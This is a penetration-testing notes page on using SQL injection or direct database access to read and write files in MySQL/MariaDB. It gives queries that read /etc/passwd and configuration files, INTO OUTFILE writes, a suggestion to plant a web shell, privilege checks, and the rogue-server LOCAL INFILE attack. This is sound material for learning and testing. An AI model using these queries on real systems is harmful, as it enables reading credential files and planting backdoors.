Database Exploitation: File system

sqlinjectionfundamentals attacking_common_services validation sql_injection_file_reading

If we are able to run SQL queries, either from a direct access, or from a SQLi, we may be able to read/write files.

Common usages are:

  • πŸ”‘ Read sensitive files (configuration files, /etc/passwd, etc.)
  • πŸͺ² Write a web shell (you need the webserver root path, try to see if it's shown if error messages if any, or try well-known paths)

In the context of a SQLi, you can use sqlmap to automate this.

To read a file:

SELECT LOAD_FILE('/etc/passwd');
LOAD DATA INFILE '/etc/passwd' INTO TABLE xxx; -- require privs?
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE xxx; -- no privs?

To write something to a file (⚠️ query length limit):

SELECT [...] INTO OUTFILE '/path/to/writable/dir/myfile';
SELECT "Hello!" INTO OUTFILE '/tmp/myfile';
SELECT FROM_BASE64("SGVsbG8h") INTO OUTFILE '/tmp/myfile';

DBMS Introspection

MySQL secure_file_priv

sql_injection_file_reading

MySQL uses the secure_file_priv. If it's empty, there is no restriction. If NULL, read/write are disabled. Otherwise, we are limited to the specified folder. We can check out the current value with:

SELECT variable_value FROM information_schema.global_variables
WHERE VARIABLE_NAME='secure_file_priv'
Select @@global.secure_file_priv

MariaDB has this variable set to empty by default. MySQL uses /var/lib/mysql-files as the default folder.

List Users That Can Manipulation Files

List users with the file permission (Y=YES)

SELECT grantee, privilege_type
FROM information_schema.user_privileges
WHERE PRIVILEGE_TYPE = 'FILE'
SELECT user,File_priv FROM mysql.user

MySQL LOCAL INFILE

MySQL document specify that clients should not connect to untrusted servers as the server may be capable or reading files on the client host. By default, LOCAL_INFILE is disabled to avoid this.

This is an old attack and multiple exploits exist for it.

You then have to find a vulnerable client connecting to your server. For instance, it could be a install script of a PHP website.